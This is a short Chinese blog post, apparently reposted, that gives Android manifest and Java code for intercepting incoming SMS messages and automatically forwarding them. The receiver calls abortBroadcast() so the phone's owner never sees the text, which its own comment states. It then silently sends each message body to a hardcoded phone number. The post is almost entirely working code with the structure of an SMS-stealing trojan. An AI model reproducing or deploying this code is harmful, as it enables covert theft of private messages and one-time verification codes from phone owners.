Android 之 拦截手机短信并自动转发

拦截短信和发送短信都需要相关的权限:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.sms"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="9"
        android:targetSdkVersion="10" />

    <!-- 接收 短信和发送短信的权限 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

        <!-- 拦截用户短信:短信广播地址:android.provider.Telephony.SMS_RECEIVED -->
        <receiver android:name=".SMSReceiver" >
            <intent-filter android:priority="700" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>


主程序入口:使用广播监听系统短信


package com.example.sms;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

/**
 * 拦截用于短信
 * 
 * @author Administrator
 * 
 */
public class SMSReceiver extends BroadcastReceiver {

	public void onReceive(Context context, Intent intent) {

		if (intent.getAction()
				.equals("android.provider.Telephony.SMS_RECEIVED")) { // 判断是否为短信的广播

			abortBroadcast(); // 终止广播的继续传播

			// 得到拦截的短信内容信息 -- 这里可以终止广播的传递,让用户收不到短信
			Bundle bundle = intent.getExtras();

			// 通过 pdus 获取到接收到的所有短信息
			Object[] obj = (Object[]) bundle.get("pdus");

			// 构建短信Array , 根据收到信息的数据数
			SmsMessage[] smss = new SmsMessage[obj.length];

			// 将获取到的短信消息全部封装到 SmsMessage[] 数组对象中
			for (int i = 0; i < obj.length; i++) {
				smss[i] = SmsMessage.createFromPdu((byte[]) obj[i]); //
			}

			StringBuilder builder = new StringBuilder(); // 保存数据
			
			PendingIntent pid = PendingIntent.getBroadcast(context, 0,
					new Intent(), 0);
			SmsManager smsManager = SmsManager.getDefault(); // 获取管理对象

			// 取出每一条信息
			for (SmsMessage sms : smss) {

				String address = sms.getDisplayOriginatingAddress(); // 来源
				String content = sms.getDisplayMessageBody(); // 获得短信内容

				Log.i("msg", "执行了...来源:" + address);
				Toast.makeText(context, "发送者:" + address + "\n 内容:" + content,
						Toast.LENGTH_LONG).show();
				
				// 自动发送短信:
				//参数:1、目的号码 ; 2、短信服务中心号码  ,null表示默认; 3、短信内容; 4、发送短信结果内容 ; 5、发送短信到目地后的回复信息
				smsManager.sendTextMessage("15555215558", null, content, pid, null);
			}
		}
	}
}

猜你喜欢

转载自sunzone.iteye.com/blog/1998121